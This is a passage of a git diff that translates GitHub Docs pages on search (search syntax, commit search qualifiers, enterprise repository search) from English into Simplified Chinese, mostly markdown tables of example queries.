+- [讨论](/search-github/searching-on-github/searching-discussions){% endif %}
+- [代码](/search-github/searching-on-github/searching-code)
+- [提交](/search-github/searching-on-github/searching-commits)
+- [用户](/search-github/searching-on-github/searching-users)
 - [Packages](/search-github/searching-on-github/searching-for-packages)
 - [Wikis](/search-github/searching-on-github/searching-wikis)
 
-## Searching using a visual interface
+## 使用可视界面搜索
 
 You can search {% data variables.product.product_name %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% if command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.product_name %}, without leaving the keyboard. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar.
+{% data variables.search.advanced_url %} 提供用于构建搜索查询的可视界面。 您可以按各种因素过滤搜索，例如仓库具有的星标数或复刻数。 在填写高级搜索字段时，您的查询将在顶部搜索栏中自动构建。
 
-![Advanced Search](/assets/images/help/search/advanced_search_demo.gif)
+![高级搜索](/assets/images/help/search/advanced_search_demo.gif)
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
 ## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment
 
-If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. For more information, see the following.
+If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. 更多信息请参阅以下文章。
 
 {% ifversion fpt or ghes or ghec %}
 
@@ -74,7 +75,7 @@ If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_ser
 
 {% ifversion ghes or ghae %}
 
-To scope your search by environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`.
+要按环境限制搜索范围，可以使用 {% data variables.search.advanced_url %} 上的过滤选项，或者使用 `environment:` 搜索前缀。 若只搜索 {% data variables.product.product_name %} 上的内容，请使用搜索语法 `environment:local`。 若只搜索 {% data variables.product.prodname_dotcom_the_website %} 上的内容，则使用 `environment:github`。
 
 Your enterprise owner on {% data variables.product.product_name %} can enable {% data variables.product.prodname_unified_search %} for all public repositories, all private repositories, or only certain private repositories in the connected {% data variables.product.prodname_ghe_cloud %} organization.
 
@@ -84,7 +85,7 @@ When you search from {% data variables.product.product_name %}, you can only sea
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
-- "[Searching on GitHub](/articles/searching-on-github)"
+- "[了解搜索语法](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
+- "[在 GitHub 上搜索](/articles/searching-on-github)"
diff --git a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
index 2e98bbd3ee..4eeeb8d376 100644
--- a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
+++ b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
@@ -22,7 +22,7 @@ topics:
 
 You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}{% endif %}. {% ifversion fpt or ghec %}For example, if you use {% data variables.product.prodname_ghe_server %}, you can search for private repositories from your enterprise from {% data variables.product.prodname_ghe_cloud %} in the web interface for {% data variables.product.prodname_ghe_server %}.{% endif %}
 
-## Prerequisites
+## 基本要求
 
 - An enterprise owner for {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_name %}{% endif %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_unified_search %} for private repositories. For more information, see the following.{% ifversion fpt or ghes or ghec %}
   - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% endif %}{% ifversion fpt or ghec or ghae %}
@@ -35,18 +35,17 @@ You can search for designated private repositories on {% data variables.product.
 
 {% ifversion fpt or ghec %}
 
-For more information, see the following.
+更多信息请参阅以下文章。
 
-| Your enterprise environment | More information |
-| :- | :- |
-| {% data variables.product.prodname_ghe_server %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
-| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)" |
+| Your enterprise environment                         | 更多信息                                                                                                                                                                                                                                                                                                                                                                  |
+|:--------------------------------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% data variables.product.prodname_ghe_server %}  | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
+| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)"                       |
 
 {% elsif ghes or ghae %}
 
 1. Sign into {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.product_name %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. 在 {% data variables.product.product_name %} 上任何页面的右上角，单击您的个人资料照片，然后单击**设置**。 ![用户栏中的 Settings 图标](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
diff --git a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
index 82108d649c..a2e62f3188 100644
--- a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
+++ b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
@@ -1,6 +1,6 @@
 ---
-title: Understanding the search syntax
-intro: 'When searching {% data variables.product.product_name %}, you can construct queries that match specific numbers and words.'
+title: 了解搜索语法
+intro: '搜索 {% data variables.product.product_name %} 时，您可以构建匹配特定数字和单词的查询。'
 redirect_from:
   - /articles/search-syntax
   - /articles/understanding-the-search-syntax
@@ -13,87 +13,88 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Understand search syntax
+shortTitle: 了解搜索语法
 ---
-## Query for values greater or less than another value
 
-You can use `>`, `>=`, `<`, and `<=` to search for values that are greater than, greater than or equal to, less than, and less than or equal to another value.
+## 查询大于或小于另一个值的值
 
-Query  | Example
-------------- | -------------
-<code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** matches repositories with the word "cats" that have more than 1000 stars.
-<code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** matches repositories with the word "cats" that have 5 or more topics.
-<code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** matches code with the word "cats" in files that are smaller than 10 KB.
-<code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** matches repositories with the word "cats" that have 50 or fewer stars.
+您可以使用 `>`、`>=`、`<` 和 `<=` 搜索大于、大于等于、小于以及小于等于另一个值的值。
 
-You can also use [range queries](#query-for-values-between-a-range) to search for values that are greater than or equal to, or less than or equal to, another value.
+| 查询                        | 示例                                                                                                                                       |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** 匹配含有 "cats" 字样、星标超过 1000 个的仓库。 |
+| <code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** 匹配含有 "cats" 字样、有 5 个或更多主题的仓库。  |
+| <code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** 匹配小于 10 KB 的文件中含有 "cats" 字样的代码。        |
+| <code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** 匹配含有 "cats" 字样、星标不超过 50 个的仓库。  |
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** is equivalent to `stars:>=10` and matches repositories with the word "cats" that have 10 or more stars.
-<code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** is equivalent to `stars:<=10` and matches repositories with the word "cats" that have 10 or fewer stars.
+您还可以使用[范围查询](#query-for-values-between-a-range)搜索大于等于或小于等于另一个值的值。
 
-## Query for values between a range
+| 查询                        | 示例                                                                                                                                                                |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** 等同于 `stars:>=10` 并匹配含有 "cats" 字样、有 10 个或更多星号的仓库。       |
+| <code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** 等同于 `stars:<=10` 并匹配含有 "cats" 字样、有不超过 10 个星号的仓库。 |
 
-You can use the range syntax <code><em>n</em>..<em>n</em></code> to search for values within a range, where the first number _n_ is the lowest value and the second is the highest value.
+## 查询范围之间的值
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..<em>n</em></code>  | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** matches repositories with the word "cats" that have between 10 and 50 stars.
+您可以使用范围语法 <code><em>n</em>..<em>n</em></code> 搜索范围内的值，其中第一个数字 _n_ 是最低值，而第二个是最高值。
 
-## Query for dates
+| 查询                        | 示例                                                                                                                                         |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>n</em>..<em>n</em></code> | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** 匹配含有 "cats" 字样、有 10 到 50 个星号的仓库。 |
 
-You can search for dates that are earlier or later than another date, or that fall within a range of dates, by using `>`, `>=`, `<`, `<=`, and [range queries](#query-for-values-between-a-range). {% data reusables.time_date.date_format %}
+## 查询日期
 
-Query  | Example
-------------- | -------------
-<code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** matches issues with the word "cats" that were created after April 29, 2016.
-<code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** matches issues with the word "cats" that were created on or after April 1, 2017.
-<code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** matches code with the word "cats" in repositories that were pushed to before July 5, 2012.
-<code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** matches issues with the word "cats" that were created on or before July 4, 2012.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** matches repositories with the word "cats" that were pushed to between the end of April and July of 2016.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** matches issues created after April 30th, 2012 containing the word "cats."
-<code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** matches issues created before July 4th, 2012 containing the word "cats."
+您可以通过使用 `>`、`>=`、`<`、`<=` 和[范围查询](#query-for-values-between-a-range)搜索早于或晚于另一个日期，或者位于日期范围内的日期。 {% data reusables.time_date.date_format %}
+
+| 查询                         | 示例                                                                                                                                                                                    |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** 匹配含有 "cats" 字样、在 2016 年 4 月 29 日之后创建的议题。                          |
+| <code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** 匹配含有 "cats" 字样、在 2017 年 4 月 1 日或之后创建的议题。                      |
+| <code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** 匹配在 2012 年 7 月 5 日之前推送的仓库中含有 "cats" 字样的代码。                            |
+| <code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** 匹配含有 "cats" 字样、在 2012 年 7 月 4 日或之前创建的议题。                      |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** 匹配含有 "cats" 字样、在 2016 年 4 月末到 7 月之间推送的仓库。 |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** 匹配在 2012 年 4 月 30 日之后创建、含有 "cats" 字样的议题。                        |
+| <code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** 匹配在 2012 年 7 月 4 日之前创建、含有 "cats" 字样的议题。                         |
 
 {% data reusables.time_date.time_format %}
 
-Query  | Example
-------------- | -------------
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** matches issues created between January 1, 2017 at 1 a.m. with a UTC offset of `07:00` and March 1, 2017 at 3 p.m. with a UTC offset of `07:00`.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code>  | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** matches issues created between March 21, 2016 at 2:11pm and April 7, 2106 at 8:45pm.
+| 查询                         | 示例                                                                                                                                                                                                                                                                                                                                                                  |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** 匹配在 2017 年 1 月 1 日凌晨 1 点（UTC 偏移为 `07:00`）与 2017 年 3 月 1 日下午 3 点（UTC 偏移为 `07:00`）之间创建的议题。 UTC 偏移量 `07:00`，2017 年 3 月 1 日下午 3 点。 UTC 偏移量 `07:00`。 |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code> | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** 匹配在 2016 年 3 月 21 日下午 2:11 与 2016 年 4 月 7 日晚上 8:45 之间创建的议题。                                                                                                                 |
 
-## Exclude certain results
+## 排除特定结果
 
-You can exclude results containing a certain word, using the `NOT` syntax. The `NOT` operator can only be used for string keywords. It does not work for numerals or dates.
+您可以使用 `NOT` 语法排除包含特定字词的结果。 `NOT` 运算符只能用于字符串关键词， 不适用于数字或日期。
 
-Query  | Example
-------------- | -------------
-`NOT`  | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** matches repositories that have the word "hello" but not the word "world."
+| 查询    | 示例                                                                                                                      |
+| ----- | ----------------------------------------------------------------------------------------------------------------------- |
+| `NOT` | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** 匹配含有 "hello" 字样但不含有 "world" 字样的仓库。 |
 
-Another way you can narrow down search results is to exclude certain subsets. You can prefix any search qualifier with a `-` to exclude all results that are matched by that qualifier.
+缩小搜索结果范围的另一种途径是排除特定的子集。 您可以为任何搜索限定符添加 `-` 前缀，以排除该限定符匹配的所有结果。
 
-Query  | Example
-------------- | -------------
-<code>-<em>QUALIFIER</em></code>  | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization.
+| 查询                         | 示例                                                                                                                                                             |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>-<em>QUALIFIER</em></code> | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** 匹配提及 @defunkt 且不在 GitHub 组织仓库中的议题. |
 
-## Use quotation marks for queries with whitespace
+## 对带有空格的查询使用引号
 
-If your search query contains whitespace, you will need to surround it with quotation marks. For example:
+如果搜索含有空格的查询，您需要用引号将其括起来。 例如：
 
-* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) matches repositories with the word "cats" but not the words "hello world."
-* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) matches issues with the word "build" that have the label "bug fix."
+* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) 匹配含有 "cats" 字样但不含有 "hello world" 字样的仓库。
+* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) 匹配具有标签 "bug fix"、含有 "build" 字样的议题。
 
-Some non-alphanumeric symbols, such as spaces, are dropped from code search queries within quotation marks, so results can be unexpected.
+某些非字母数字符号（例如空格）会从引号内的代码搜索查询中删除，因此结果可能出乎意料。
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Queries with usernames
+## 使用用户名的查询
 
-If your search query contains a qualifier that requires a username, such as `user`, `actor`, or `assignee`, you can use any {% data variables.product.product_name %} username, to specify a specific person, or `@me`, to specify the current user.
+如果搜索查询包含需要用户名的限定符，例如 `user`、`actor` 或 `assignee`，您可以使用任何 {% data variables.product.product_name %} 用户名指定特定人员，或使用 `@me` 指定当前用户。
 
-Query  | Example
-------------- | -------------
-`QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) matches commits authored by @nat
-`QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) matches issues assigned to the person viewing the results
+| 查询                   | 示例                                                                                                            |
+| -------------------- | ------------------------------------------------------------------------------------------------------------- |
+| `QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) 匹配 @nat 创作的提交。                          |
+| `QUALIFIER:@me`      | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) 匹配已分配给结果查看者的议题 |
 
-You can only use `@me` with a qualifier and not as search term, such as `@me main.workflow`.
+`@me` 只能与限定符一起使用，而不能用作搜索词，例如 `@me main.workflow`。
 {% endif %}
diff --git a/translations/zh-CN/content/search-github/index.md b/translations/zh-CN/content/search-github/index.md
index c2eeff5e6d..b9e744478d 100644
--- a/translations/zh-CN/content/search-github/index.md
+++ b/translations/zh-CN/content/search-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Searching for information on GitHub
-intro: Use different types of searches to find the information you want.
+title: 在 GitHub 上搜索信息
+intro: 使用不同类型的搜索来查找您想要的信息。
 redirect_from:
   - /categories/78/articles
   - /categories/search
@@ -16,6 +16,6 @@ topics:
 children:
   - /getting-started-with-searching-on-github
   - /searching-on-github
-shortTitle: Search on GitHub
+shortTitle: 在 GitHub 上搜索
 ---
 
diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md b/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md
index e0e772a5f7..b722ed55d4 100644
--- a/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md
+++ b/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md
@@ -1,6 +1,6 @@
 ---
-title: Searching commits
-intro: 'You can search for commits on {% data variables.product.product_name %} and narrow the results using these commit search qualifiers in any combination.'
+title: 搜索提交
+intro: '您可以在 {% data variables.product.product_name %} 上搜索提交，并使用这些提交搜索限定符的任意组合缩小结果范围。'
 redirect_from:
   - /articles/searching-commits
   - /github/searching-for-information-on-github/searching-commits
@@ -13,107 +13,109 @@ versions:
 topics:
   - GitHub search
 ---
-You can search for commits globally across all of {% data variables.product.product_name %}, or search for commits within a particular repository or organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
 
-When you search for commits, only the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) of a repository is searched.
+您可以在所有 {% data variables.product.product_name %} 内全局搜索提交，也可以在特定仓库或组织内搜索提交。 更多信息请参阅“[关于在 {% data variables.product.company_short %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。
+
+当您搜索提交时，仅搜索仓库的[默认分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)。
 
 {% data reusables.search.syntax_tips %}
 
-## Search within commit messages
+## 在提交消息内搜索
 
-You can find commits that contain particular words in the message. For example, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) matches commits containing the words "fix" and "typo."
+您可以在消息中查找包含特定字词的提交。 例如，[**fix typo**](https://github.com/search?q=fix+typo&type=Commits) 匹配包含 "fix" 和 "typo" 字样的提交。
 
-## Search by author or committer
+## 按作者或提交者搜索
 
-You can find commits by a particular user with the `author` or `committer` qualifiers.
+您可以使用 `author` 或 `committer` 限定符按特定用户查找提交。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author:<em>USERNAME</em></code> | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) matches commits authored by @defunkt.
-| <code>committer:<em>USERNAME</em></code> | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) matches commits committed by @defunkt.
+| 限定符                       | 示例                                                                                                       |
+| ------------------------- | -------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) 匹配 @defunkt 创作的提交。       |
+| <code>committer:<em>USERNAME</em></code> | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) 匹配 @defunkt 提交的提交。 |
 
-The `author-name` and `committer-name` qualifiers match commits by the name of the author or committer.
+`author-name` 和 `committer-name` 限定符匹配按作者或提交者姓名的提交。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-name:<em>NAME</em></code> | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the author name.
-| <code>committer-name:<em>NAME</em></code> | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the committer name.
+| 限定符                       | 示例                                                                                                                              |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author-name:<em>NAME</em></code> | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) 匹配作者姓名中包含 "wanstrath" 的提交。        |
+| <code>committer-name:<em>NAME</em></code> | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) 匹配提交者姓名中包含 "wanstrath" 的提交。 |
 
-The `author-email` and `committer-email` qualifiers match commits by the author's or committer's full email address.
+`author-email` 和 `committer-email` 限定符按作者或提交者的完整电子邮件地址匹配提交。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-email:<em>EMAIL</em></code> | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) matches commits authored by chris@github.com.
-| <code>committer-email:<em>EMAIL</em></code> | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) matches commits committed by chris@github.com.
+| 限定符                       | 示例                                                                                                                                               |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>author-email:<em>EMAIL</em></code> | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) 匹配 chris@github.com 创作的提交。       |
+| <code>committer-email:<em>EMAIL</em></code> | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) 匹配 chris@github.com 提交的提交。 |
 
-## Search by authored or committed date
+## 按创作或提交日期搜索
 
-Use the `author-date` and `committer-date` qualifiers to match commits authored or committed within the specified date range.
+使用 `author-date` 和 `committer-date` 限定符可匹配指定日期范围内创作或提交的提交。
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-date:<em>YYYY-MM-DD</em></code> | [**author-date:&lt;2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) matches commits authored before 2016-01-01.
